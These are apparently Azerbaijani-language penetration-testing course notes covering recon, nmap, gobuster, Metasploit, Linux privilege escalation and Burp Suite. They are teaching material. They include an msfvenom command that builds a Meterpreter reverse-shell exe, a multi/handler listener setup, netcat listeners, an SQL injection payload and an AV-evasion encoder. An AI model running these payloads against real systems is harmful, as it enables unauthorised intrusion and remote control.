

Giriş: Test Növləri və Kəşfiyyat (Recon) Mərhələsi

1. White Box, Black Box, Gray Box (Qutu Test Növləri)

Bu terminlər, penetration test aparan şəxsin (pentester) hədəf sistem haqqında nə qədər məlumata sahib olduğunu təsvir edir.

- **Black Box (Qara Qutu):** Pentester sistem haqqında heç bir ilkin məlumata sahib deyil. O, real hücumçu kimi hərəkət edir və yalnız hədəf şirkətin adı və ya internet ünvanı (URL) kimi ictimai məlumatlarla başlayır. Bu ən çətin və vaxt aparan test növüdür.

- **White Box (Ağ Qutu) (və ya Clear Box):** Pentester sistem haqqında tam məlumata sahibdir. Bu məlumatlara mənbə kodu, şəbəkə diaqramları, server konfigurasiyaları, verilənlər bazası strukturları və hətta istifadəçi adları/şifrələr daxil ola bilər. Məqsəd ən sürətli və dərinlən zəiflik axtarmaqdır.

- **Gray Box (Boz Qutu):** Bu, yuxarıdakı ikisinin qarışığıdır. Pentester sistem haqqında məhdud (adətən adi istifadəçi səviyyəsində) məlumata sahibdir. Məsələn, ona standart istifadəçi hesabı və ya şəbəkə diaqramı verilə bilər, amma mənbə kodu verilməz. Bu, ən real ssenarilərdən biridir.

2. Passive Recon (Passiv Kəşfiyyat)

Hədəf sistemlə birbaşa əlaqə yaratmadan (onların serverlərinə sorğu göndərmədən) məlumat toplamaq üsuludur. Məqsəd, hədəf şirkət və onun əməkdaşları haqqında ictimai açıq mənbələrdən (OSINT) maksimum məlumat əldə etməkdir.

- **Group-IB Axtarış Yöntəmləri:** Group-IB, kibertəhlükəsizlik sahəsində tanınmış bir şirkətdir. Onların axtarış metodları, kibercinayətkarların istifadə etdiyi infrastruktur (məsələn, command-and-control serverlər) və qaranlıq şəbəkədəki (dark web) fəaliyyətləri aşkar etmək üçün qabaqcıl OSINT və təhlükə kəşfiyyatı (Threat Intelligence) texnikalarını əhatə edir.

- **Harvester:** E-poçt ünvanlarını, alt-domainləri (subdomain), IP ünvanlarını və işçi adlarını axtarış motorları (Google, Bing, LinkedIn) və ictimai verilənlər bazaları vasitəsilə toplayan bir vasitədir. Bu məlumatlar daha sonra sosial mühəndislik və ya parol hücumları üçün istifadə edilə bilər.

- **linkedin2username (GitHub):** Bu alət LinkedIn platformasında şirkət adına görə axtarış edərək, həmin şirkətdə çalışan işçilərin istifadəçi adlarını (username) yaradır. Pentester bu adlardan istifadə edərək, şirkətin digər sistemlərinə (VPN, e-poçt, portal) giriş cəhdləri edə bilər.

- **Shodan:** "İnternetdəki axtarış motoru" olaraq bilinir. İnternetə qoşulmuş bütün cihazları (serverlər, kameralar, yönləndiricilər, nəzarət sistemləri) indexləyir. Pentester hədəf şirkətin IP diapazonunu axtararaq, açıq portları, xidmətləri və hətta zəif konfigurasiyaları aşkar edə bilər.

- **Maltego (Passiv Skan):** Müxtəlif məlumat mənbələrini birləşdirərək əlaqələri vizuallaşdıran qüvvətli bir OSINT alətidir. Məsələn, bir şəxsin e-poçt ünvanından onun sosial media hesablarına, oradan da digər e-poçt ünvanlarına və şirkətlərinə keçid edərək mürəkkəb əlaqə xəritələri (qraf) yaradır.

- **Google Hacking Database (GHDB) & Google Dorking:** Google-da xüsusi axtarış operatorlarından (və ya "dork"lardan) istifadə edərək, ictimaiyyətə açıq olan, lakin asan tapılmayan həssas məlumatları (məsələn, şifrə faylları, konfigurasiya faylları, giriş səhifələri) tapmaqdır. Məsələn, `intitle:index.of "parent directory"` kimi bir dork, açıq kataloqları tapmağa kömək edir. "Ən çox məlumat olan" dorklar isə ən çox nəticə verən və ya ən həssas məlumatı açıq çıxaran axtarış sxemləridir.

- **/etc/resolv.conf:** Bu, Linux əməliyyat sistemlərində DNS (Domain Name System) server ünvanlarının saxlandığı konfigurasiya faylıdır. Passiv kəşfiyyat zamanı bu fayl ictimaiyyətə açıq olaraq tapılırsa (məsələn, GitHub-da), hədəf şirkətin daxili DNS infrastrukturunu haqqında məlumat əldə etmək olar.

İkinci Dərs: Aktiv Skanlama (Active Scanning) & Əlaqə

Passiv kəşfiyyatdan sonra sıra aktiv skanlamaya gəlir. Burada birbaşa hədəf sistemlərə sorğular göndərilir.

1. Nmap (Network Mapper)

Şəbəkə kəşfiyyatı və təhlükəsizlik auditi üçün ən məşhur alətdir. Portları, xidmətləri və əməliyyat sistemlərini aşkar edir.

- **nmap.scanme.org:** Nmap-in özünün sınaq üçün yaratdığı təhlükəsiz və qanuni test hədəfidir. Əsasən `nmap` əmrlərini öyrənmək üçün istifadə olunur.

- **nmap -sT scanme.nmap.org:** `-sT` parametri TCP Connect skanını bildirir. Nmap hədəfdəki portlarla tam 3-əl sıxışma (handshake) edərək onların açıq olub-olmadığını yoxlayır. Ən əsas TCP skan növüdür.

- **nmap -sU scanme.nmap.org:** `-sU` parametri UDP skanıdır. UDP portları TCP-dən fərqli işlədiyi üçün skan etmək daha çətindir və çox vaxt yavaş olur.

- **nmap -p- scanme.nmap.org:** `-p-` parametri bütün portları (1-dən 65535-ə qədər) skan edir. Varsayılan olaraq Nmap yalnız ən məşhur 1000 portu yoxlayır.

- **nmap -sT -p- scanme.nmap.org:** Həm TCP Connect, həm də bütün portların birləşməsidir.

- **nmap -T4 scanme.nmap.org:** `-T` parametri skanın sürətini təyin edir (0-5 arası). `-T4` "ağressiv" sürət deməkdir, skanı çox sürətləndirir. `-T5` isə ən sürətlidir, lakin dəqiqliyi azalda bilər.

- **nmap -T3 -Pn scanme.nmap.org:** `-T3` normal/standart sürətdir. `-Pn` parametri isə **Ping atlamasını** bildirir. Nmap, skan etməzdən əvvəl hədəfin "canlı" olub-olmadığını yoxlamaq üçün ICMP ping göndərir. Bu parametr həmin addımı atlayaraq, pingə cavab verməyən (məsələn, firewall tərəfindən bloklanmış) sistemlərin də skan olunmasını təmin edir.

- **Output (Nəticə) Skan Formaları (-oX, -oS, -oG, -oA):** Skan nəticələrini müxtəlif formatlarda saxlamaq üçündür.

- **-oX:** XML formatında (ən faydalısı, digər alətlər tərəfindən asan oxunur).
- **-oS:** Skript dili kimi çıxış.
- **-oG:** Grep-lənə bilən format (məndaxili axtarış üçün).

- **-oA:** Yuxarıdakı bütün əsas formatları (normal, XML, Grep) bir anda yaradır.
- **nmap -sV -Pn scanme.nmap.org: -sV** parametri **xidmət versiyasının** aşkarlanmasıdır. Bu, yalnız portun açıq olub-olmadığını deyil, həmin portda hansı proqramın (məsələn, Apache 2.4.49) hansı versiyada işlədiyini də göstərir. Bu, zəiflik axtarışı üçün çox vacibdir.
- **nmap -sV zero.webappsecurity.com:** Bu, sınaq üçün nəzərdə tutulmuş başqa bir təhlükəsiz saytdır.

2. Netcat (nc)

"TCP/IP şveysar bıçağı" olaraq bilinir. Şəbəkə bağlantıları qurmaq, portları dinləmək və məlumat göndərmək üçün istifadə olunur.

- **nc -lvp 4444:** Bu əmr, öz maşınımızda bir **dinləyici (listener)** qurmaq üçündür.
- **-l:** Dinləmə rejimi (listen).
- **-v:** Ətraflı (verbose) çıxış.
- **-n:** DNS ad həllini (hostname axtarışını) söndürür, sürətləndirir.
- **-p 4444:** 4444-cü portu dinlə.

Bu əmr çox vaxt hədəf sistemi ələ keçirdikdən sonra, öz maşınımıza geri bağlantı (reverse shell) qurmaq üçün istifadə olunur.

3. Revshells.com

Bu sayt, müxtəlif əməliyyat sistemlərində (Linux, Windows, macOS) istifadə edilə bilən **əks-qabıq (reverse shell)** yükləmə kodlarını (one-liner) avtomatik yaradır. Pentester, istismar etdiyi zəiflikdən sonra daxil olmaq (shell) qazanmaq üçün buradakı kodlardan istifadə edir. **nc -lvp** ilə birlikdə işləyir.

Üçüncü Dərs: Sayma (Enumeration) & Zəifliklərin İstismarı

Ən vacib mərhələdir. Skanla portları tapdıqdan sonra, həmin portlarda işləyən xidmətləri ətraflı şəkildə "sorgulamaq" lazımdır.

1. Enumeration (Sayma)

Sistemdən mümkün qədər çox məlumat (istifadəçi adları, paylaşımlar, qovluqlar, fayllar, konfiqurasiyalar) toplamaq prosesidir.

- **Gobuster:** Veb tətbiqlərdə gizli qovluqları və faylları (directory/file busting) tapmaq üçün istifadə edilən alətdir. O, lüğət (wordlist) fayllarından istifadə edərək serverə ardıcıl sorğular göndərir.
- **Gobuster Əmrləri:**
 - **gobuster dir -u <URL> -w <wordlist>:** Qovluq axtarışı üçün əsas əmrdir.
 - **gobuster vhost -u <URL> -w <wordlist>:** Virtual Hostları (VHost) aşkar etmək üçündür. Eyni IP ünvanında bir neçə fərqli sayt (və ya subdomain) ola bilər.
- **acmecorp:** Pentest təlimlərində tez-tez istifadə edilən uydurma şirkət adıdır (nümunə hədəf).
- **Enumeration Mode:** Gobuster-ın fərqli iş rejimlərini (dir, vhost, dns) ifadə edir.

- **acmecorp.local/robots.txt:** Bu fayl, axtarış motorlarına (Google, Bing) hansı qovluqları indeksləməməyi bildirir. Lakin pentesterlər üçün bu, "gizli" qovluqların siyahısı deməkdir və çox dəyərli məlumat mənbəyidir.
- **HTTP Status Kodları:** Veb serverin cavab kodlarıdır.
 - **200 (OK):** Hər şey qaydasındadır, səhifə mövcuddur.
 - **301 (Moved Permanently):** Səhifə başqa ünvanə yönləndirilir.
 - **403 (Forbidden):** Səhifə mövcuddur, amma giriş qadağandır (bu da məlumatdır!).
 - **404 (Not Found):** Səhifə tapılmadı.
- **mail.acmecorp.local:** Subdomainlərin aşkarlanmasına misaldır. [acmecorp.local](#) saytı üzərində işləyərkən, [mail](#) subdomainini tapmaq şirkətin e-poçt serverinə (məsələn, Outlook Web App) işarə edə bilər.
- **App Settings:** Tətbiqin konfigurasiya fayllarıdır (məsələn, [.env](#), [config.php](#)). Bunların tapılması verilənlər bazası şifrələri, API açarları kimi kritik məlumatları aşkara çıxara bilər.
- **sudo apt install seclists:** [SecLists](#) məşhur lüğət faylları kolleksiyasıdır. Gobuster, ffuf və digər alətlər üçün lazım olan bütün wordlist-ləri (istifadəçi adları, şifrələr, qovluq adları) ehtiva edir.
- **FFUF (Fuzz Faster U Fool):** Gobuster-a bənzər, lakin daha sürətli və çevik veb fuzzing alətidir. Müxtəlif hissələri (URL-lər, parametrlər, header-lər) test etmək üçün istifadə olunur. `ffuf -u <URL/FUZZ> -w <wordlist>`.

2. Zəifliklərin Təhlili və İstismarı

- **Exploit DB:** İctimaiyyətə açıq olan zəiflik istismar kodlarının (exploit) ən böyük verilənlər bazasıdır. Bir xidmətin versiyasını tapdıqdan sonra, bu bazada həmin versiyaya uyğun exploit axtarılır.
- **CVSS (Common Vulnerability Scoring System):** Zəifliklərin şiddət dərəcəsini qiymətləndirmək üçün beynəlxalq standartdır. 0-dan 10-a qədər bal verir:
 - **0.0-3.9:** Aşağı (Low)
 - **4.0-6.9:** Orta (Medium)
 - **7.0-8.9:** Yüksək (High)
 - **9.0-10.0:** Kritik (Critical)
- **[NIST.gov](#):** ABŞ Standartlar və Texnologiya Milli İnstitutudur. Kibertəhlükəsizlik sahəsində ən etibarlı mənbələrdən biridir. Onların **NVD (National Vulnerability Database)** bazası, bütün məlum zəifliklərə (CVE) dair ətraflı texniki məlumat, CVSS balı və düzəliş (patch) məlumatlarını ehtiva edir.

Əlavə Qeyd: "Apti Groups" və "Spy Phishing"

- **APT (Advanced Persistent Threat) Groups:** Bunlar dövlət tərəfindən dəstəklənən və ya çox yaxşı maliyyələşdirilən kibercinayətkar qruplardır. Onlar mürəkkəb hücumlar edir və hədəf sistemlərdə uzun müddət (aylarla) gizlənərək məlumat oğurlayırlar (məsələn, APT28, APT29, Lazarus Group).

- **Spy Phishing (Casus Ovu):** Adi fişinqdən fərqli olaraq, bu, konkret bir şəxsə və ya təşkilata qarşı xüsusi hazırlanmış e-poçt və ya mesajdır (buna "Spear Phishing" də deyilir). Hədəfin maraqlarına, işinə və ya şəxsi əlaqələrinə uyğunlaşdırılmış məzmunla göndərilir ki, qurbanın aldadılması ehtimalı daha yüksək olsun. Passiv kəşfiyyat (LinkedIn, Harvester) bu tip hücumlar üçün zəmin hazırlayır.

4-cü Dərs: Metasploit Framework və İstismar (Exploitation)

Bu dərisdə, penetration test prosesində ən güclü alətlərdən biri olan Metasploit Framework və onun ətrafındakı anlayışlar izah olunur.

Metasploit Framework (Rapid7)

Bu, hücum simulyasiyaları (exploit development) və təhlükəsizlik testləri üçün ən məşhur açıq mənbəli framework-dür. Rapid7 şirkəti tərəfindən idarə olunur. O, istismar kodlarını (exploit), yükləmə kodlarını (payload), kodlaşdırıcıları (encoder) və müxtəlif köməkçi modulları (auxiliary) bir yerdə toplayır.

MITRE ATT&CK

Bu, kibercinayətkarların taktika və texnikalarının bilik bazasıdır (Knowledge Base). Hücumçunun hər bir hərəkət mərhələsi (məsələn, İlkin Giriş, İcra, İmtiyazların Yüksəldilməsi, Qaçış) burada təsnif edilir. Pentesterlər öz hücumlarını bu çərçivəyə uyğun olaraq planlaşdırır və təhlil edirlər.

msfconsole

Metasploit Framework-ün əsas interaktiv komanda xətti interfeysidir (CLI). Bütün modulları idarə etmək, exploit seçmək, parametrləri təyin etmək və hücumu icra etmək üçün burada işləyirik.

sudo openvpn eu-central.ovpn

Bu əmr, öz Kali Linux (və ya digər pentest) maşınızı hədəf şəbəkəyə (məsələn, HackTheBox, TryHackMe kimi platformalara) qoşmaq üçün istifadə olunur. "eu-central" adətən Avropa mərkəzi VPN serverini bildirir.

EternalBlue (MS17-010)

Windows əməliyyat sistemlərində (xüsusilə Windows 7, Server 2008) SMBv1 protokolundakı kritik bir zəiflikdir. Bu zəiflik vasitəsilə hücumçu heç bir istifadəçi müdaxiləsi olmadan (şifrə tələb etmədən) sistemi ələ keçirə bilər. Metasploit-də [exploit/windows/smb/ms17_010_eternalblue](#) modulu var.

NVD (National Vulnerability Database) & CVE (Common Vulnerabilities and Exposures)

CVE, hər bir məlum təhlükəsizlik zəifliyinə verilən unikal identifikatordur (məsələn, CVE-2017-0144 = EternalBlue). NVD isə bu CVE-lərin hamısının təfərrüatlarını, CVSS balını və təsir etdiyi sistemləri saxlayan ABŞ-ın rəsmi bazasıdır.

Apache & Nginx

Bunlar ən populyar veb serverlərdir.

- **Apache:** Ənənəvi, modul əsaslı veb server.

- **Nginx:** Yüksək performanslı, yüngül, çox vaxt reverse proxy və yük balanslaşdırıcı kimi istifadə olunur. Hər ikisinin özünəməxsus konfigurasiya faylları və zəiflikləri var.

Shikata Ga Nai (GitHub)

Bu, Metasploit-də ən məşhur **kodlaşdırıcılardan (encoder)** biridir (yəni [x86/shikata_ga_nai](#)). Antivirus proqramlarından (AV) qaçmaq üçün payload (zərərli kod) bir neçə dəfə müxtəlif üsullarla kodlaşdırılır. Yaponca mənası təxminən "heç nə etmək olmaz" deməkdir, lakin bu, AV-dən qaçış üçün çox təsirlidir.

Exploit

Sistemdəki zəiflikdən (vulnerability) yararlanaraq, həmin sistemə icazəsiz giriş əldə etmək üçün yazılmış kod parçasıdır.

SentinelOne

Bu, qabaqcıl bir Endpoint Detection and Response (EDR) həllidir. Yəni, antivirusdan fərqli olaraq, sistemdəki anormal davranışları (məsələn, bir prosesin qəribə bir faylı açması və ya şəbəkəyə çıxması) izləyərək hücumları aşkarlayır. Metasploit kimi alətlər SentinelOne tərəfindən asanlıqla tutula bilər.

Reverse Shell Connect Payload

Bu, hədəf sistemdə icra edildikdə, həmin sistemin öz maşınımıza (hücumçuya) bir TCP bağlantısı açmasını təmin edən payload növüdür. Çünki hücumçunun hədəfə birbaşa daxil olması çox vaxt firewall tərəfindən bloklanır.

Meterpreter

Metasploit-in ən qabaqcıl payload növüdür. O, yaddaşda (diskə yazılmadan) işləyir, şifrələnmiş rabitə qurur, fayl yükləmək/endirmək, ekran görüntüsü almaq, klaviatura girişlərini qeyd etmək (keylogging) kimi bir çox imkanları olan interaktiv bir shell təqdim edir.

msfvenom

Metasploit-in **payload yaratmaq** üçün istifadə olunan alətidir. O, müxtəlif formatlarda ([.exe](#), [.py](#), [.php](#), [.war](#)) və müxtəlif əməliyyat sistemləri üçün xüsusi payload faylları yarada bilər.

msfvenom -p windows

Bu əmr Windows əməliyyat sistemi üçün bir payload yaratmağa başlamaq üçündür. Məsələn, [msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe](#) (Burada [LHOST](#) sizin maşınınızın IP-si, [LPORT](#) isə dinlədiyiniz portdur).

nc -lvnp 5555

Bu, öz maşınımızda 5555-ci portda bir dinləyici (listener) açmaq üçündür. Bəzi hallarda Meterpreter əvəzinə sadə reverse shell (məsələn, [cmd.exe](#) və ya [/bin/bash](#)) göndərilirsə, onu qarşılamaq üçün [netcat](#) istifadə olunur.

search multi/handler (və ya search multihandler)

Metasploit-də [search](#) əmri ilə modulları axtarıq. [multi/handler](#) Metasploit-in ən vacib modullarından biridir. O, yaratdığımız (msfvenom ilə) və hədəfdə işə saldıığımız payload-dan geri gələn bağlantını (reverse shell və ya meterpreter) qəbul etmək (dinləmək) üçün istifadə olunur. Adətən bu addım belə olur:

```
text
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [Sizin IP]
set LPORT [Sizin Port]
exploit
```

5-ci Dərs: Məlumat Toplama, Privilege Escalation (İmtiyazların Yüksəldilməsi) və Sistem Analizi

İlkin giriş əldə olunduqdan sonra (məsələn, aşağı səviyyəli istifadəçi kimi), növbəti məqsəd **root** (Linux) və ya **Administrator** (Windows) səviyyəsinə yüksəlməkdir. Bunun üçün sistem haqqında ətraflı məlumat toplamaq lazımdır.

İstifadə Etdiyimiz Komandaları Bir Yerdə Toplamaq

Əldə edilən shell-də (məsələn, netcat və ya meterpreter) ən vacib iş, sistemi tanımaq üçün aşağıdakı komandaları ardıcıl icra etməkdir.

Versiyalarını Bilmək

Sistemdə işləyən proqramların (kernel, web server, ftp server, verilənlər bazası) versiyalarını bilmək, onlara uyğun exploit tapmaq üçün çox vacibdir.

```
uname -a
```

Bu əmr Linux sistemində **kernel (nüvə) məlumatlarını** verir. Nüvənin versiyası (kernel version) və memarlığı (x86_64) burada görünür. Köhnə kernel versiyaları üçün "linux kernel exploits" mövcuddur.

Exploit DB Linux Kernel Exploits

Kernel zəiflikləri, əməliyyat sisteminin ən alt qatındakı zəifliklərdir. Əgər kernel köhnədirsə, "Dirty Cow" (CVE-2016-5195) kimi məşhur exploitlər istifadə oluna bilər.

```
searchsploit
```

Bu, Kali Linux-da quraşdırılmış Exploit DB-ə terminaldan baxmaq üçün bir vasitədir. Məsələn, **searchsploit linux kernel 4.4** yazaraq, bu kernelə uyğun exploitləri tapa bilərsiniz.

```
cat /etc/os-release
```

Bu əmr Linux distributivinin (məsələn, Ubuntu 18.04, CentOS 7) adını və versiyasını göstərir.

```
cut -d : -f1
```

Bu, mətn emalı üçün istifadə olunan bir komandadır. Məsələn, **cat /etc/passwd | cut -d: -f1** bütün istifadəçi adlarını (sistemdəki bütün hesabları) göstərir. **-d:** iki nöqtəni ayırıcı, **-f1** isə birinci sütunu ifadə edir.

```
su privesc
```

su (switch user) digər istifadəçiyə (məsələn, root) keçmək üçündür. Bunun üçün həmin istifadəçinin şifrəsini bilmək lazımdır.

```
sudo -l
```

Cari istifadəçinin **hansı komandaları digər istifadəçilər kimi (xüsusilə root kimi)** icra etməyə icazəsi olduğunu göstərir. Bu, `privesc` üçün ən vacib addımlardan biridir. Məsələn, əgər `sudo -l` çıxışında **(ALL : ALL) NOPASSWD: /bin/bash** yazırsa, bu dərhal root olmaq deməkdir.

`/etc/sudoers`

Bu fayl `sudo` icazələrinin saxlandığı əsas konfigurasiya faylıdır. Birbaşa redaktə etmək üçün `visudo` əmri istifadə olunur. Əgər bu faylı oxuya bilərsinizsə, orada yanlış konfigurasiyalar (məsələn, zəif istifadəçinin root kimi bir neçə əmri işlədə bilməsi) axtarırsınız.

`last`

Bu əmr sistemə kimlərin, hansı IP-dən və nə vaxt daxil olduğunu (login history) göstərir.

`ip route`

Bu əmr şəbəkə marşrutlaşdırma cədvəlini (routing table) göstərir. Hansı şəbəkələrə çıxış olduğunu və qapı (gateway) ünvanını öyrənmək üçündür.

`netstat -tulpin | grep "22"`

Bu, şəbəkə əlaqələrini və dinlənilən portları göstərir.

- **-t**: TCP
- **-u**: UDP
- **-l**: Yalnız dinlənilən (listening) portlar
- **-p**: Hansı prosesin (PID) bu portu dinlədiyi
- **-n**: Ədədi (IP) formatda göstər

`grep "22"` isə burada 22 nömrəli portu (SSH) filtrləyir. Sistemdə hansı xidmətlərin aktiv olduğunu anlamaq üçün vacibdir.

`/etc/hosts`

Bu fayl, DNS serverindən əvvəl yoxlanılan yerli host adı (hostname) - IP ünvanı uyğunlaşdırmalarını saxlayır. Bəzən buraya daxili şirkət serverlərinin ünvanları yazılır.

`arp -a`

ARP (Address Resolution Protocol) cədvəlini göstərir. Bu, yerli şəbəkədəki (LAN) digər cihazların MAC və IP ünvanlarını aşkar etməyə kömək edir. Şəbəkədə hərəkət etmək (lateral movement) üçün faydalıdır.

GTFOBins (gtfobins.org)

Bu veb-sayt, Linux sistemlərində müəyyən ikili faylların (binaries) **düzgün olmayan sudo konfigurasiyası** nəticəsində necə istismar olunaraq root imtiyazı qazanıla biləcəyini göstərir. Məsələn, `sudo find` icazəsi verilərsə, bu sayt onunla root shell almağı izah edir. (Windows üçün analoqu "LOLBAS"dır).

`find / -writable -type f 2>/dev/null | grep "opt"`

Bu əmr bütün sistemdə (/) yazıla bilən (**-writable**) faylları axtarır və səhv mesajlarını atır (`2>/dev/null`), sonra isə çıxışı "opt" sözünə görə süzür. Məqsəd, **/opt** qovluğunda hər kəsin yazma biləcəyi faylları tapmaqdır. Bu cür fayllar çox vaxt cron job-lar tərəfindən işlədilsə, `privesc` üçün istifadə oluna bilər.

Cron (`cat /etc/crontab`)

Cron, Linux-da planlaşdırılmış tapşırıqları (scheduled tasks) idarə edən bir xidmətdir. `/etc/crontab` faylı sistem üzrə bütün planlaşdırılmış işləri göstərir. Əgər root tərəfindən icra edilən bir skript varsa və biz bu skripti dəyişə biliksə, root imtiyazı qazana bilərik.

`netstat -ano | grep "22"` (Windows)

Windows-da da Linuxdakı `netstat` analoqudur. `-a` bütün bağlantılar, `-n` ədədi format, `-o` isə proses ID-sini (PID) göstərir.

`ps au`

Bu əmr Linux-da işləyən bütün prosesləri (processes) göstərir. Hansı proseslərin hansı istifadəçi ilə işlədiyini, xüsusilə də `root` tərəfindən işlədilən prosesləri aşkar etmək üçün çox vacibdir.

`/snap`

Snap, Ubuntu və digər distributivlərdə proqram təminatını qablaşdırmaq (package) üçün istifadə olunan sistemdir. Bəzən snap paketlərinin də `privsec` üçün istismar oluna bilən zəiflikləri olur.

10-cu Dərs: Burp Suite və Veb Tətbiq Təhlükəsizliyi

Bu dərs, veb tətbiqlərin sınağı üçün ən güclü "proksi" (və ya intercepting proxy) aləti olan Burp Suite-ə həsr olunub. O, brauzer ilə veb server arasındakı bütün HTTP/S trafikini tutmağa, dəyişdirməyə və təkrar göndərməyə imkan tanıyır.

Burp Suite

PortSwigger şirkəti tərəfindən hazırlanmış, veb tətbiq təhlükəsizliyi testi üçün integrasiya olunmuş bir platformadır. Tərkibində bir çox alət var: Proxy, Repeater, Intruder, Scanner, Decoder, Comparer.

Intercept

Burp Suite-in əsas funksiyasıdır. Bu rejim aktiv olduqda, brauzerdən keçən bütün HTTP sorğuları (request) serverə göndərilməzdən əvvəl Burp-də dayandırılır. Pentester bu sorğunu dəyişdirə, parametrlər əlavə edə və ya çıxara bilər, sonra isə "Forward" düyməsi ilə serverə göndərə bilər.

Collaborator

Burp Suite-in daxili xidmətidir. Bu, DNS və HTTP üzərindən xarici sistemlərlə (out-of-band) əlaqə yaratmağa imkan verir. Məsələn, bir SQL Injection (Blind) zəifliyini yoxlayarkən, serverə DNS sorğusu göndərəcək bir payload daxil edirik. Əgər server bu sorğunu Burp Collaborator-a göndərsə, bu, zəifliyin mövcud olduğunu təsdiqləyir.

SQL Injection (SQLi)

Ən təhlükəli veb zəifliklərindən biridir. Hücümçü, veb tətbiqin verilənlər bazasına göndərdiyi SQL sorğularına öz zərərli SQL kodunu əlavə edərək, verilənlər bazasından icazəsiz məlumat oxuya, dəyişə və ya sildə bilər. Məsələn: `' OR '1'='1` daxil edərək bütün istifadəçiləri görmək.

Turbo Intruder

Burp Suite-in ən sürətli fuzzing alətidir. O, HTTP sorğularını çox yüksək sürətlə (dəqiqədə minlərlə) göndərmək üçün Python dilindən istifadə edir. Böyük lüğətlərlə (wordlist) brute-force, parametr fuzzing və ya race condition (yarış şəraiti) testləri üçün idealdır.

REST API (Representational State Transfer Application Programming Interface)

Müasir veb tətbiqlərin bir-biri ilə danışmaq üçün istifadə etdiyi interfeysdir. Burp Suite REST API-ləri (JSON/XML formatlarında) test etmək üçün də çox əlverişlidir, çünki o, sorğu gövdəsini (body) asanlıqla dəyişməyə imkan verir.

PortSwigger

Burp Suite-in hazırlayıcısı olan şirkətin adıdır. Onlar həmçinin pullu (Burp Suite Professional) və pulsuz (Burp Suite Community Edition) versiyalarını təqdim edirlər.

curl -x (HTTP Proxy)

curl terminaldan HTTP sorğuları göndərmək üçün bir alətdir. **-x** parametri isə bu sorğunu bir proksi üzərindən yönləndirmək üçündür. Məsələn, **curl -x http://127.0.0.1:8080 http://hedef.com** əmri ilə bütün trafiki Burp Suite-dən (varsayılan olaraq 8080-ci portda işləyir) keçirə bilərsiniz. Bu, Burp-in brauzer açılmadan da arxa planda işləməsi üçün faydalıdır.

Ümumi Xülasə (Flow):

1. **Passiv Recon:** Google Dorking, Shodan, Maltego, Harvester.
2. **Aktiv Skan:** Nmap (**-sV**, **-sT**, **-p-**, **-Pn**).
3. **Enumeration:** Gobuster, FFUF (qovluq/vhost tapmaq), robots.txt, HTTP status kodları.
4. **Exploitation (İstismar):** Metasploit (**msfconsole**), **msfvenom** (payload yarat), **multi/handler** (dinlə), zəiflik bazaları (Exploit DB, NVD).
5. **Post-Exploitation (İlkin Girişdən Sonra):** Sistem məlumatları (**uname -a**, **cat /etc/os-release**), şəbəkə (**netstat**, **ip route**), proseslər (**ps au**).
6. **Privilege Escalation (İmtiyaz yüksəltmə):** **sudo -l**, GTFOBins, cron tapşırıqları, yazıla bilən fayllar (**find**).
7. **Veb Sınaq:** Burp Suite (Intercept, Repeater, Intruder), SQL Injection, API testi.